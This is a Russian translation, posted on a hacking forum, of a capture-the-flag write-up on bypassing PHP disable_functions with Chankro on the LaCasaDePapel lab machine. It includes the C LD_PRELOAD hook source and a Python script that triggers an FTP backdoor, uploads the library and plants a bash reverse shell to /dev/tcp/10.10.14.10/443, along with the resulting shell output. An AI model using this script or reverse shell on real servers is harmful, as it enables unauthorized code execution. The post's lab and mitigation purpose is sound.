• XSS.stack #1 – первый литературный журнал от юзеров форума

Обход PHP disable_functions с помощью Chankro

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Я читал рецензию по этому поводу, и там ребята пошли другим путем, когда получали php shell. Вместо того, чтобы просто использовать функции php для поиска сертификата и ключа, необходимого для доступа к закрытой https-странице, исследователи там использует Chankro для обхода отключенных функций и запуска произвольного кода. Я должен был попробовать тоже покопаться в этом всем.


Бекграунд

Chankro - это инструмент для обхода disable_functions в php, чтобы в любом случае добиться выполнения кода. Для владельцев сайтов присуще включать disable_functions для предотвращения system, shell и т.д. Это, в теории, не позволяет хакеру, который находит способ запуска кода (file upload + local file include) выполнить команды на хосте.

На Linux системах, когда вызывается php функция mail, она вызывает бинарный sendmail. Идея с Chankro состоит в том, чтобы установить переменную LD_PRELOAD для включения библиотеки, а затем вызвать mail, и эта самая библиотека успешно выполнится.

hook.c, который компилируется hook32.so и hook64.so очень простой:
PHP:
#define  _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <unistd.h>


void pwn(void) {
    chmod(getenv("CHANKRO"), 00777);
        system(getenv("CHANKRO"));
}

void daemonize(void) {
    signal(SIGHUP, SIG_IGN);
    if (fork() != 0) {
        exit(EXIT_SUCCESS);
    }
}

__attribute__ ((__constructor__)) void preloadme(void) {
  unsetenv("LD_PRELOAD");
  daemonize();
  pwn();
}
Он, в основном, очищает LD_PRELOAD переменную, а затем получает имя бинарного файла из переменной CHANKRO, изменяет права доступа на 777 и вызывает его с помощью system.

В репозитории есть скрипт python для его запуска, но для этих случаев более полезный путь такой:
  1. Загрузите .so файл и файл для выполнения (shell script или elf).
  2. Установите переменную LD_PRELOAD, указав ее на .so.
  3. Установите переменную CHANKRO, указав ее на файл для выполнения.
  4. Запустить main('a','a','a','a'); в php.
Это приведет к выполнению скрипта.


LaCasaDePapel

Самая большая проблема состоит в том, чтобы загрузить .so файл. Я не смог заставить его работать с base64 и file_put_contents, поскольку он слишком большой. Поэтому я решил пойти по тому же пути, что и Аламот, и написать его. Я взял свой vsftpd_backdoor.py и изменил его, чтобы загрузить и вызвать Chankro. Этот код довольно корявый, но я просто собрал его для тестирования:
Python:
#!/usr/bin/env python

import sys
import time
from pwn import *

if len(sys.argv) < 2:
    print("%s [ip] [port = 21]" % sys.argv[0])
    print("port defaults to 21 if not given")
    sys.exit()
elif len(sys.argv) == 2:
    port = 21
else:
    port = int(sys.argv[2])
target = sys.argv[1]

print("[*] Connecting to %s:%d" % (target, port))
ftp = remote(target, port)
ftp.sendline(b'USER 0xdf:)')
ftp.sendline(b'PASS 0xdf')
time.sleep(2)
ftp.close()
print('[+] Backdoor triggered')
print('[*] Connecting')

try:
    psy = remote(target, 6200)
except KeyboardInterrupt:
    print("[!] Exiting Shell")
    exit(1)

print("[*] Uploading chankro.so")
psy.sendline("$f = fopen('/tmp/chankro.so', 'w');")
with open('/opt/Chankro/hook64.so', 'rb') as f:
    while True:
        d = f.read(1024)
        if not d:
            break
        psy.sendline("fwrite($f, base64_decode('%s'));" % base64.b64encode(d))

psy.sendline("fclose($f)")
print("[+] Uploaded chankro.so")
shell = base64.b64encode("bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'")
psy.sendline("file_put_contents('/tmp/acpid.socket', base64_decode('%s'))" % shell)
print("[+] Uploaded shell as /tmp/acpid.socket")
psy.sendline("putenv('CHANKRO=/tmp/acpid.socket');")
psy.sendline("putenv('LD_PRELOAD=/tmp/chankro.so');")
print("[+] Set env variables")
print("[*] Triggering with mail call\n[*] Waiting for shell. This could take a minute.")
psy.sendline("mail('a','a','a','a');")
psy.close()

dali = listen(443).wait_for_connection()
dali.interactive()

Запустив его, я получаю shell, повысив id до юзера dali:
Bash:
root@kali# ./lacasadepapel_dali_shell.py 10.10.10.131
[*] Connecting to 10.10.10.131:21
[+] Opening connection to 10.10.10.131 on port 21: Done
[*] Closed connection to 10.10.10.131 port 21
[+] Backdoor triggered
[*] Connecting
[+] Opening connection to 10.10.10.131 on port 6200: Done
[*] Uploading chankro.so
[+] Uploaded chankro.so
[+] Uploaded shell as /tmp/acpid.socket
[+] Set env variables
[*] Triggering with mail call
[*] Waiting for shell. This could take a minute.
[*] Closed connection to 10.10.10.131 port 6200
[+] Trying to bind to 0.0.0.0 on port 443: Done
[+] Waiting for connections on 0.0.0.0:443: Got connection from 10.10.10.131 on port 37892
[*] Switching to interactive mode
bash: cannot set terminal process group (3121): Not a tty
bash: no job control in this shell
bash-4.4$ $ id
id
uid=1000(dali) gid=1000(dali) groups=1000(dali)


Заключение

Когда я увидел эту технику, мой разум сразу же обратился к HackBack, поскольку это позволило бы мне получить шелл, который я не мог получить раньше. Тем не менее, я быстро понял, что HackBack - это Windows-бокс, поэтому этот метод совершенно не покатит мне. Я могу загружать файлы, но при вызове mail будет происходить что-то другое, а LD_PRELOAD в Windows нету вообще. Было бы интересно покопать, есть ли способы обхода disable_functions в Windows.

Тем не менее, для Linux-систем это действительно крутой способ обойти обычную защиту. А администратору лучше всего добавить оба main и setenv в список disable_functions, так как любой из них предотвратит эту атаку.


Оригинальная статья: https://0xdf.gitlab.io/2019/08/02/bypassing-php-disable_functions-with-chankro.html
Перевод: https://xss.pro, tabac
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх